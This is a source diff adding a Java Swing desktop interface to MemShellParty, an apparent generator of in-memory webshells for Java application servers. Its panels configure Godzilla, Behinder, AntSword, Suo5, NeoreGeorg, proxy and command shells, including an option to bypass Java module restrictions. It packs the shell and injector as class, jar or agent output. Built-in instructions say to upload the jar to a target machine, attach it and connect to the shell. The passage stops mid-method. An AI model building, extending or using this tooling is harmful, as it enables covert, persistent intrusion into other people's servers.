public static class ConfigCatalog {
private final Map<String, List<String>> servers;
private final Map<String, Map<String, List<String>>> core;
private final List<PackerCategoryModel> packers;
private final List<String> commandEncryptors;
private final List<String> commandImplementationClasses;
public ConfigCatalog(Map<String, List<String>> servers,
Map<String, Map<String, List<String>>> core,
List<PackerCategoryModel> packers,
List<String> commandEncryptors,
List<String> commandImplementationClasses) {
this.servers = servers;
this.core = core;
this.packers = packers;
this.commandEncryptors = commandEncryptors;
this.commandImplementationClasses = commandImplementationClasses;
}
public Map<String, List<String>> getServers() { return servers; }
public Map<String, Map<String, List<String>>> getCore() { return core; }
public List<PackerCategoryModel> getPackers() { return packers; }
public List<String> getCommandEncryptors() { return commandEncryptors; }
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
}
public ConfigCatalog load() {
Map<String, List<String>> servers = new LinkedHashMap<>();
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
for (String serverName : ServerFactory.getSupportedServers()) {
AbstractServer server = ServerFactory.getServer(serverName);
if (server == null) {
continue;
}
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
servers.put(serverName, shellTypes);
Map<String, List<String>> toolMap = new LinkedHashMap<>();
for (String tool : server.getSupportedShellTools()) {
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
if (!types.isEmpty()) {
toolMap.put(tool, types);
}
}
core.put(serverName, toolMap);
}
List<PackerCategoryModel> packerModels = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
for (Packers packerEnum : entry.getValue()) {
PackerEntryModel p = new PackerEntryModel();
p.setCategoryName(entry.getKey());
p.setName(packerEnum.name());
p.setOutputKind(packerEnum.getOutputKind());
p.setCategoryAnchor(packerEnum.hasChildren());
PackerSchema schema = packerEnum.getSchema();
if (schema != null) {
p.getDefaultConfig().putAll(schema.getDefaultConfig());
for (PackerFieldSchema field : schema.getFields()) {
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
f.setKey(field.getKey());
f.setType(field.getType() == null ? null : field.getType().name());
f.setRequired(field.isRequired());
f.setDefaultValue(field.getDefaultValue());
f.setDescription(field.getDescription());
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
for (PackerOptionValue option : field.getOptions()) {
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
}
p.getFields().add(f);
}
}
category.getPackers().add(p);
}
packerModels.add(category);
}
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
}
public List<String> getServerVersionOptions(String server) {
if ("TongWeb".equals(server)) {
return Arrays.asList("6", "7", "8");
}
if ("Jetty".equals(server)) {
return Arrays.asList("6", "7+", "12");
}
return Collections.singletonList("Unknown");
}
public List<String> getTargetJdkOptions() {
return Arrays.asList("50", "52", "53", "55", "61", "65");
}
public String getTargetJdkLabel(String value) {
if ("50".equals(value)) return "Java6";
if ("52".equals(value)) return "Java8";
if ("53".equals(value)) return "Java9";
if ("55".equals(value)) return "Java11";
if ("61".equals(value)) return "Java17";
if ("65".equals(value)) return "Java21";
return value;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.desktop.memshell.service;
import net.bytebuddy.jar.asm.ClassReader;
import java.util.Base64;
public class CustomClassNameParser {
public String parseClassNameFromBase64(String classBase64) {
if (classBase64 == null || classBase64.trim().isEmpty()) {
throw new IllegalArgumentException("class base64 is empty");
}
byte[] bytes = Base64.getDecoder().decode(classBase64);
return parseClassName(bytes);
}
public String parseClassName(byte[] classBytes) {
if (classBytes == null || classBytes.length == 0) {
throw new IllegalArgumentException("class bytes are empty");
}
return new ClassReader(classBytes).getClassName().replace('/', '.');
}
}
@@ -0,0 +1,147 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
public class GenerationService {
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
ShellConfig shellConfig = ShellConfig.builder()
.server(s.getServer())
.serverVersion(s.getServerVersion())
.shellTool(s.getShellTool())
.shellType(s.getShellType())
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
.debug(s.isDebug())
.byPassJavaModule(s.isByPassJavaModule())
.probe(s.isProbe())
.shrink(s.isShrink())
.lambdaSuffix(s.isLambdaSuffix())
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
.injectorClassName(blankToNull(s.getInjectorClassName()))
.staticInitialize(s.isStaticInitialize())
.build();
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
String packMethod = s.getPackingMethod();
Packers packers = Packers.fromName(packMethod);
Packer<?> packer = packers.getInstance();
String packResult;
if (packer instanceof JarPacker) {
JarPacker jarPacker = (JarPacker) packer;
packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
} else {
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
}
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
}
@SuppressWarnings("unchecked")
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
return (ClassPackerConfig<Object>) c;
}
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
String tool = s.getShellTool();
if (ShellTool.Godzilla.equals(tool)) {
return GodzillaConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getGodzillaPass()))
.key(blankToNull(s.getGodzillaKey()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Behinder.equals(tool)) {
return BehinderConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getBehinderPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.AntSword.equals(tool)) {
return AntSwordConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getAntSwordPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
return Suo5Config.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.NeoreGeorg.equals(tool)) {
return NeoreGeorgConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Proxy.equals(tool)) {
return ProxyConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Custom.equals(tool)) {
return CustomConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.shellClassBase64(blankToNull(s.getShellClassBase64()))
.build();
}
if (ShellTool.Command.equals(tool)) {
return CommandConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.paramName(blankToNull(s.getCommandParamName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.template(blankToNull(s.getCommandTemplate()))
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
.build();
}
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
}
private int parseInt(String value, int defaultValue) {
try {
return Integer.parseInt(value);
} catch (Exception ignored) {
return defaultValue;
}
}
private static String blankToNull(String s) {
return s == null || s.trim().isEmpty() ? null : s;
}
private static String blankToDefault(String s, String d) {
return s == null || s.trim().isEmpty() ? d : s;
}
}
@@ -0,0 +1,138 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
public class MemShellGeneratorFrame extends JFrame {
private final MemShellFormController controller;
private final GenerationService generationService;
private final MainConfigPanel mainConfigPanel;
private final PackageConfigPanel packageConfigPanel;
private final ResultPanel resultPanel;
private final JButton generateButton = new JButton("生成内存马");
private final JLabel statusLabel = new JLabel("就绪");
private JComponent mainContentPanel;
public MemShellGeneratorFrame() {
super("MemShellParty - MemShellGenerator");
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
this.generationService = new GenerationService();
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
this.resultPanel = new ResultPanel();
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
setMinimumSize(new Dimension(1180, 900));
setSize(1280, 900);
setLocationRelativeTo(null);
setLayout(new BorderLayout(6, 6));
add(buildToolbar(), BorderLayout.NORTH);
add(buildContent(), BorderLayout.CENTER);
add(buildStatusBar(), BorderLayout.SOUTH);
generateButton.addActionListener(e -> onGenerate());
resultPanel.clear();
refreshAll();
}
private JComponent buildToolbar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
return p;
}
private JComponent buildContent() {
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
leftColumn.add(packageConfigPanel, "growx");
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
"[grow,fill,sg topCol][grow,fill,sg topCol]",
"[top]"));
topColumns.add(leftColumn, "growx, pushx, top");
topColumns.add(rightColumn, "growx, pushx, top");
topPane.add(topColumns, "growx, pushy");
topPane.add(generateButton, "wrap, growx, gaptop 10");
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
content.add(topPane, "growx");
content.add(resultPanel, "grow, push");
mainContentPanel = content;
return content;
}
private JComponent buildStatusBar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
p.add(statusLabel, BorderLayout.WEST);
return p;
}
private void onGenerate() {
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
if (!validation.isValid()) {
statusLabel.setText("校验失败");
SwingUiUtil.showError(this, validation.firstMessage());
return;
}
generateButton.setEnabled(false);
statusLabel.setText("生成中...");
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
@Override
protected DesktopMemShellGenerateResult doInBackground() {
return generationService.generate(controller.getState().copy());
}
@Override
protected void done() {
generateButton.setEnabled(true);
try {
DesktopMemShellGenerateResult result = get();
resultPanel.showResult(result);
statusLabel.setText("生成成功");
} catch (Exception ex) {
statusLabel.setText("生成失败");
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
}
}
};
worker.execute();
}
public void refreshAll() {
mainConfigPanel.refreshFromController();
packageConfigPanel.refreshFromController();
repaint();
revalidate();
}
JComponent getMainContentPanel() {
return mainContentPanel;
}
JButton getGenerateButton() {
return generateButton;
}
}
@@ -0,0 +1,169 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class MainConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<String> serverCombo = new JComboBox<>();
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
private final JComboBox<String> shellToolCombo = new JComboBox<>();
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
private final JCheckBox debugCheck = new JCheckBox("调试模式");
private final JCheckBox probeCheck = new JCheckBox("回显模式");
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
private final JPanel corePanel;
private final JPanel toolPanelWrap;
private final JPanel toolCardPanel = new JPanel(new CardLayout());
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
this.controller = controller;
this.refreshAll = refreshAll;
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
corePanel.add(labeled("服务类型", serverCombo), "growx");
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
togglePanel.add(debugCheck);
togglePanel.add(probeCheck);
togglePanel.add(bypassCheck);
togglePanel.add(lambdaCheck);
togglePanel.add(shrinkCheck);
togglePanel.add(staticInitCheck);
corePanel.add(togglePanel, "span 2, growx");
add(corePanel, "growx");
toolPanelWrap = new JPanel(new BorderLayout());
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
// Keep the active tool panel at preferred height to avoid large blank sections.
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
add(toolPanelWrap, "growx");
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
bindEvents();
}
private void registerToolPanel(String key, RefreshableToolPanel panel) {
toolPanels.put(key, panel);
toolCardPanel.add((Component) panel, key);
}
private JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label));
p.add(component, "growx");
return p;
}
private void bindEvents() {
serverCombo.addActionListener(e -> {
if (updating) return;
Object item = serverCombo.getSelectedItem();
if (item != null) {
controller.setServer(String.valueOf(item));
refreshAll.run();
}
});
serverVersionCombo.addActionListener(e -> {
if (updating) return;
Object item = serverVersionCombo.getSelectedItem();
if (item != null) controller.setServerVersion(String.valueOf(item));
});
shellToolCombo.addActionListener(e -> {
if (updating) return;
Object item = shellToolCombo.getSelectedItem();
if (item != null) {
controller.setShellTool(String.valueOf(item));
refreshAll.run();
}
});
targetJdkCombo.addActionListener(e -> {
if (updating) return;
Object item = targetJdkCombo.getSelectedItem();
if (item != null) {
controller.setTargetJdkVersion(String.valueOf(item));
refreshAll.run();
}
});
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
}
public void refreshFromController() {
MemShellFormState s = controller.getState();
updating = true;
try {
setComboItems(serverCombo, controller.getServers(), s.getServer());
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
debugCheck.setSelected(s.isDebug());
probeCheck.setSelected(s.isProbe());
bypassCheck.setSelected(s.isByPassJavaModule());
lambdaCheck.setSelected(s.isLambdaSuffix());
shrinkCheck.setSelected(s.isShrink());
staticInitCheck.setSelected(s.isStaticInitialize());
} finally {
updating = false;
}
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
cardLayout.show(toolCardPanel, s.getShellTool());
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
if (toolPanel != null) {
toolPanel.refreshFromController();
}
}
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
public JComponent getCorePanelComponent() {
return corePanel;
}
public JComponent getToolPanelComponent() {
return toolPanelWrap;
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackageConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
this.controller = controller;
this.refreshAll = refreshAll;
setBorder(BorderFactory.createTitledBorder("打包配置"));
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
top.add(new JLabel("打包方式"));
top.add(packerCombo, "growx");
add(top, "growx");
add(dynamicFieldsPanel, "growx");
packerCombo.setRenderer(new DefaultListCellRenderer() {
@Override
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
if (value instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) value;
setText(p.displayLabel());
}
return this;
}
});
packerCombo.addActionListener(e -> {
if (updating) return;
Object item = packerCombo.getSelectedItem();
if (item instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) item;
controller.setPacker(p.getName());
refreshAll.run();
}
});
}
public void refreshFromController() {
updating = true;
try {
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
List<PackerEntryModel> filtered = controller.getFilteredPackers();
PackerEntryModel selected = controller.getSelectedPackerEntry();
for (PackerEntryModel p : filtered) model.addElement(p);
packerCombo.setModel(model);
if (selected != null) packerCombo.setSelectedItem(selected);
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
} finally {
updating = false;
}
}
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
dynamicFieldsPanel.removeAll();
if (fields == null || fields.isEmpty()) {
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
return;
}
for (PackerSchemaFieldModel field : fields) {
String type = field.getType();
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
continue;
}
Object value = currentValues.get(field.getKey());
if ("BOOLEAN".equals(type)) {
JCheckBox check = new JCheckBox(field.getKey());
check.setSelected(Boolean.TRUE.equals(value));
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
dynamicFieldsPanel.add(check, "span 2, growx");
continue;
}
dynamicFieldsPanel.add(new JLabel(field.getKey()));
if ("ENUM".equals(type)) {
JComboBox<String> combo = new JComboBox<>();
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
combo.addItem(option.getValue());
}
if (value != null) combo.setSelectedItem(String.valueOf(value));
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
dynamicFieldsPanel.add(combo, "growx");
} else {
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
text.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
if ("INTEGER".equals(type)) {
String raw = text.getText().trim();
if (raw.isEmpty()) {
controller.setPackerCustomField(field.getKey(), null);
} else {
try {
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
} catch (NumberFormatException ignored) {
}
}
} else {
controller.setPackerCustomField(field.getKey(), text.getText());
}
}
});
dynamicFieldsPanel.add(text, "growx");
}
}
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
}
}
@@ -0,0 +1,249 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.border.Border;
import java.awt.*;
import java.io.IOException;
public class ResultPanel extends JPanel {
private final JTabbedPane tabs = new JTabbedPane();
private final BasicInfoView basicInfoView = new BasicInfoView();
private final JTextArea packResultArea = createTextArea();
private final JTextArea shellArea = createTextArea();
private final JTextArea injectorArea = createTextArea();
private final JLabel packHeaderLabel = new JLabel("未生成");
private DesktopMemShellGenerateResult current;
public ResultPanel() {
super(new BorderLayout());
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
packTab.add(wrapBasicInfoPanel(), "growx");
packTab.add(wrapPackResultPanel(), "grow, push");
tabs.addTab("生成结果", packTab);
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
add(tabs, BorderLayout.CENTER);
}
private JPanel wrapBasicInfoPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
top.add(new JLabel("基本信息"));
Border cardBorder = BorderFactory.createCompoundBorder(
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
BorderFactory.createEmptyBorder(6, 6, 6, 6)
);
p.setBorder(cardBorder);
p.add(top, BorderLayout.NORTH);
p.add(basicInfoView, BorderLayout.CENTER);
return p;
}
private JPanel wrapPackResultPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton("保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
saveBtn.addActionListener(e -> savePackResult());
top.add(new JLabel("打包结果"));
top.add(packHeaderLabel);
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
return p;
}
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
saveBtn.addActionListener(e -> {
if (current == null) return;
try {
MemShellResult r = current.getMemShellResult();
if (shell) {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
} else {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
});
top.add(new JLabel(title));
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(area), BorderLayout.CENTER);
return p;
}
private JTextArea createTextArea() {
JTextArea area = new JTextArea();
area.setEditable(false);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
return area;
}
public void showResult(DesktopMemShellGenerateResult result) {
this.current = result;
MemShellResult r = result.getMemShellResult();
basicInfoView.setResult(result);
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
if (result.isJarOutput() || result.isAgentOutput()) {
packResultArea.setText(buildUsageText(result));
} else {
packResultArea.setText(result.getPackResult());
}
shellArea.setText(r.getShellBytesBase64Str());
injectorArea.setText(r.getInjectorBytesBase64Str());
}
public void clear() {
current = null;
basicInfoView.clear();
packResultArea.setText("");
shellArea.setText("");
injectorArea.setText("");
packHeaderLabel.setText("未生成");
}
private String buildUsageText(DesktopMemShellGenerateResult result) {
if (result.isAgentOutput()) {
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
private void savePackResult() {
if (current == null) return;
try {
if (current.isJarOutput() || current.isAgentOutput()) {
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
} else {
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
}
private static String simpleClassFileName(String className) {
if (className == null || className.trim().isEmpty()) return "output.class";
int idx = className.lastIndexOf('.');
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
}
public JComponent getBasicInfoComponent() {
return basicInfoView;
}
static final class BasicInfoView extends JPanel {
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
BasicInfoView() {
super(new BorderLayout());
add(content, BorderLayout.CENTER);
clear();
}
void clear() {
content.removeAll();
content.revalidate();
content.repaint();
}
void setResult(DesktopMemShellGenerateResult result) {
content.removeAll();
MemShellResult r = result.getMemShellResult();
ShellConfig shellConfig = r.getShellConfig();
ShellToolConfig toolConfig = r.getShellToolConfig();
